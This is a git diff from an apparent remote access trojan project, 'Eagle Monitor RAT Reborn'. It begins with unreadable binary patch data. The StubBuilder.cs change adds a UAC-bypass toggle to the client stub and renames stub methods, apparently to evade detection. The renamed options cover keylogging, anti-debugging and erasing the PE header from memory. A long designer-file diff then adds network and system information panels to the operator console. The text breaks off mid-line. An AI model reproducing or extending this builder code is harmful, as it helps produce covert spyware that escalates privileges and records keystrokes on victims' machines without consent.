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 D)C;bJ literal 34304 zcmeI44RDoLna9tCkU~o+p+KPpyg;CQ<&y*g(gICDuuy2B-zd4cc|+2M8%%BsC|z$y zs#WVsSDbAf9CfW@oiZyb?zY<=_|Gwuu&w0-GdCteZYdh0D-M!uI*<@37)7-hqwHsC@7gp8Ol%0D~^9F+( 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 diff --git a/Remote Access Tool/C2/obj/Release/DesignTimeResolveAssemblyReferences.cache b/Remote Access Tool/C2/obj/Release/DesignTimeResolveAssemblyReferences.cache index 120bd9e6153f711d3a55b6aff05fb8e19b6fce54..55ff16215179071a1a51593c4b41c282463bf6fb 100644 GIT binary patch delta 30 lcmX@j*upp=SKK$^|FYm)91IK$j9g_VdIoyN2F8Y#3;>u?2qpjk delta 101 zcmZo+Jk2;EH!ek(u}I)12LmGm5HPX=37)+CqTI}syhOdcoC0nTCoe4-iJbysgB9ha YWrHPP9Iy-{SDA^Pfu6B}v7sdc0NjNhUH||9 diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Builder/StubBuilder.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/Builder/StubBuilder.cs index 365542a7..56eefbe5 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/Builder/StubBuilder.cs +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Builder/StubBuilder.cs @@ -95,6 +95,13 @@ internal static bool BuildClient() else LogStep("Skipping anti-debug..." + Environment.NewLine); + if (Program.mainForm.bypassICMLuaUtilGuna2CheckBox.Checked) + { + LogStep("Setting bypass uac..." + Environment.NewLine); + stub = stub.Replace("bypassUAC = false;", "bypassUAC = true;"); + } + else + LogStep("Skipping bypass uac..." + Environment.NewLine); LogStep("Renaming code..." + Environment.NewLine); @@ -110,32 +117,46 @@ internal static bool BuildClient() stub = Rename(stub, "MakeInstall"); stub = Rename(stub, "StartOfflineKeylogger"); stub = Rename(stub, "DomCheck"); - stub = Rename(stub, "ConnectStart"); - stub = Rename(stub, "EndLoadPlugin"); - stub = Rename(stub, "LoadPlugin"); - stub = Rename(stub, "SendPacket"); - stub = Rename(stub, "PacketHandler"); - stub = Rename(stub, "ParsePacket"); - stub = Rename(stub, "ReceiveData"); - stub = Rename(stub, "EndDataRead"); - stub = Rename(stub, "PacketParser"); - stub = Rename(stub, "EndPacketRead"); - stub = Rename(stub, "SendDataCompleted"); - stub = Rename(stub, "EndConnect"); - // + + //Delegates stub = Rename(stub, "ReadDataAsync"); stub = Rename(stub, "readDataAsync"); - stub = Rename(stub, "ReadPacketAsync"); - stub = Rename(stub, "readPacketAsync"); + stub = Rename(stub, "ParsePacketAsync"); + stub = Rename(stub, "parsePacketAsync"); stub = Rename(stub, "ConnectAsync"); stub = Rename(stub, "connectAsync"); stub = Rename(stub, "SendDataAsync"); stub = Rename(stub, "sendDataAsync"); - stub = Rename(stub, "SendData"); - // + + stub = Rename(stub, "LoadPluginAsync"); + stub = Rename(stub, "loadPluginAsync"); + //Methods + stub = Rename(stub, "StartConnect"); + stub = Rename(stub, "EndConnect"); + + stub = Rename(stub, "StartReceive"); + stub = Rename(stub, "EndReceive"); + + stub = Rename(stub, "LoadPlugin"); + stub = Rename(stub, "EndLoadPlugin"); + + stub = Rename(stub, "ParsePacket"); + stub = Rename(stub, "EndParsePacket"); + + stub = Rename(stub, "StartSendPacket"); + stub = Rename(stub, "EndSendPacket"); + + //Class + stub = Rename(stub, "PacketHandler"); + stub = Rename(stub, "HandlePacket"); + + stub = Rename(stub, "ClientHandler"); + stub = Rename(stub, "clientHandler"); + + //Options stub = Rename(stub, "offKeylog"); stub = Rename(stub, "antiDBG"); stub = Rename(stub, "erasePEFromPEB"); diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.Designer.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.Designer.cs index 9beb5b1d..984c831a 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.Designer.cs +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.Designer.cs @@ -82,15 +82,18 @@ private void InitializeComponent() System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle51 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle50 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle52 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle55 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle53 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle54 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle56 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle55 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle58 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle56 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle57 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle59 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle61 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle60 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle62 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle64 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle63 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle53 = new System.Windows.Forms.DataGridViewCellStyle(); this.closeGuna2ControlBox = new Guna.UI2.WinForms.Guna2ControlBox(); this.maximizeGuna2ControlBox = new Guna.UI2.WinForms.Guna2ControlBox(); this.minimizeGuna2ControlBox = new Guna.UI2.WinForms.Guna2ControlBox(); @@ -268,14 +271,16 @@ private void InitializeComponent() this.panel12 = new System.Windows.Forms.Panel(); this.keyloggerGuna2Button = new Guna.UI2.WinForms.Guna2Button(); this.tabPage17 = new System.Windows.Forms.TabPage(); + this.informationGuna2TabControl = new Guna.UI2.WinForms.Guna2TabControl(); + this.tabPage30 = new System.Windows.Forms.TabPage(); + this.retrieveInformationGuna2Button = new Guna.UI2.WinForms.Guna2Button(); + this.panel22 = new System.Windows.Forms.Panel(); this.guna2GroupBox2 = new Guna.UI2.WinForms.Guna2GroupBox(); this.panel16 = new System.Windows.Forms.Panel(); this.guna2VScrollBar11 = new Guna.UI2.WinForms.Guna2VScrollBar(); this.systemInformationDataGridView = new System.Windows.Forms.DataGridView(); this.Column40 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column41 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.retrieveInformationGuna2Button = new Guna.UI2.WinForms.Guna2Button(); - this.panel11 = new System.Windows.Forms.Panel(); this.guna2GroupBox1 = new Guna.UI2.WinForms.Guna2GroupBox(); this.panel15 = new System.Windows.Forms.Panel(); this.componentsDataGridView = new System.Windows.Forms.DataGridView(); @@ -288,6 +293,10 @@ private void InitializeComponent() this.Column37 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.guna2VScrollBar9 = new Guna.UI2.WinForms.Guna2VScrollBar(); this.panel14 = new System.Windows.Forms.Panel(); + this.tabPage31 = new System.Windows.Forms.TabPage(); + this.guna2VScrollBar15 = new Guna.UI2.WinForms.Guna2VScrollBar(); + this.networkInformationDataGridView = new System.Windows.Forms.DataGridView(); + this.retrieveNetworkGuna2Button = new Guna.UI2.WinForms.Guna2Button(); this.tabPage18 = new System.Windows.Forms.TabPage(); this.panel18 = new System.Windows.Forms.Panel(); this.panel19 = new System.Windows.Forms.Panel(); @@ -375,6 +384,11 @@ private void InitializeComponent() this.bytesReceivedLabel = new System.Windows.Forms.Label(); this.panel7 = new System.Windows.Forms.Panel(); this.toolTip1 = new System.Windows.Forms.ToolTip(this.components); + this.Column48 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.Column49 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.Column50 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.Column51 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.Column52 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.mainGuna2TabControl.SuspendLayout(); this.tabPage1.SuspendLayout(); this.recoveryGuna2TabControl.SuspendLayout(); @@ -439,6 +453,8 @@ private void InitializeComponent() this.importLibContextMenuStrip.SuspendLayout(); this.tabPage16.SuspendLayout(); this.tabPage17.SuspendLayout(); + this.informationGuna2TabControl.SuspendLayout(); + this.tabPage30.SuspendLayout(); this.guna2GroupBox2.SuspendLayout(); this.panel16.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.systemInformationDataGridView)).BeginInit(); @@ -447,6 +463,8 @@ private void InitializeComponent() ((System.ComponentModel.ISupportInitialize)(this.componentsDataGridView)).BeginInit(); this.panel13.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.cpuDataGridView)).BeginInit(); + this.tabPage31.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.networkInformationDataGridView)).BeginInit(); this.tabPage18.SuspendLayout(); this.panel18.SuspendLayout(); this.panel19.SuspendLayout(); @@ -2963,18 +2981,85 @@ private void InitializeComponent() // // tabPage17 // - this.tabPage17.Controls.Add(this.guna2GroupBox2); - this.tabPage17.Controls.Add(this.retrieveInformationGuna2Button); - this.tabPage17.Controls.Add(this.panel11); - this.tabPage17.Controls.Add(this.guna2GroupBox1); + this.tabPage17.Controls.Add(this.informationGuna2TabControl); this.tabPage17.Location = new System.Drawing.Point(4, 44); this.tabPage17.Name = "tabPage17"; - this.tabPage17.Padding = new System.Windows.Forms.Padding(0, 40, 0, 0); this.tabPage17.Size = new System.Drawing.Size(1083, 426); this.tabPage17.TabIndex = 3; this.tabPage17.Text = "Information"; this.tabPage17.UseVisualStyleBackColor = true; // + // informationGuna2TabControl + // + this.informationGuna2TabControl.Controls.Add(this.tabPage30); + this.informationGuna2TabControl.Controls.Add(this.tabPage31); + this.informationGuna2TabControl.Dock = System.Windows.Forms.DockStyle.Fill; + this.informationGuna2TabControl.ItemSize = new System.Drawing.Size(180, 40); + this.informationGuna2TabControl.Location = new System.Drawing.Point(0, 0); + this.informationGuna2TabControl.Name = "informationGuna2TabControl"; + this.informationGuna2TabControl.SelectedIndex = 0; + this.informationGuna2TabControl.Size = new System.Drawing.Size(1083, 426); + this.informationGuna2TabControl.TabButtonHoverState.BorderColor = System.Drawing.Color.Empty; + this.informationGuna2TabControl.TabButtonHoverState.FillColor = 